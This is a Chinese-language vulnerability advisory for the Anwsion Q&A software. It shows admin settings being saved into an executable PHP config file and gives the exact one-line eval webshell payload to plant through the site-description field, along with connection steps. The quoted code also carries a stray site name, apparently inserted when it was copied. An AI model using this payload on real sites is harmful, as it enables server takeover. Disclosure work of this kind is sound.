漏洞影响 全版本。
结合Anwsion 0.7以下所有版本可导致站点被入侵。
设计缺陷代码如下 见75-96行 将网站后台配置保存到数据库同时又保存到了本地PHP文件 导致可通过写入一句话执行。
/app/admin/controller/c_setting_class.inc.php
//保存参数到数据库
$retval = $this->model('setting')->set_vars($vars);
//保存缓存文件
if(!$this->model('setting')->update_setting_config())
{
H::ajax_json_output(AWS_APP::RSM(null, "-1", '无法写入配置文件,www.xuhantao.com,涛涛电脑知识网,请设置文件 system/config/setting.php 的权限为0777。'));
}
if ($retval)
{
ZCACHE::delete("setting_config");
H::ajax_json_output(AWS_APP::RSM(null, "1", "系统设置修改成功"));
}
else
{
H::ajax_json_output(AWS_APP::RSM(null, "-1", "系统设置修改失败"));
}
}
被写入的配置文件内容如下 system/config/setting.php
访问后台系统设置地址
在网站简介处添加一句话 \';eval($_POST[cmd]);//
话管理工具连接一句话/system/config/setting.php
早期Anwsion 0.6版本或更早版本配置文件被写入/gzphp/config/setting.php
如果受到rewrite限制无法访问一句话文件 则直接通过一句话管理工具连接/index.php文件即可。
成功连接一句话文件。
修复方案:
等待官方补丁或者是关注近期更新。
漏洞发布之后将会通知开发者过来认领 避免被恶意利用。
不知为何 在漏洞预览中一句话代码会被添加多一个\ 莫非是防XSS而添加的?
不知这样在审核通过后可以浏览时是否同样会被多添加一个\ 否则将误导他人 测试失败。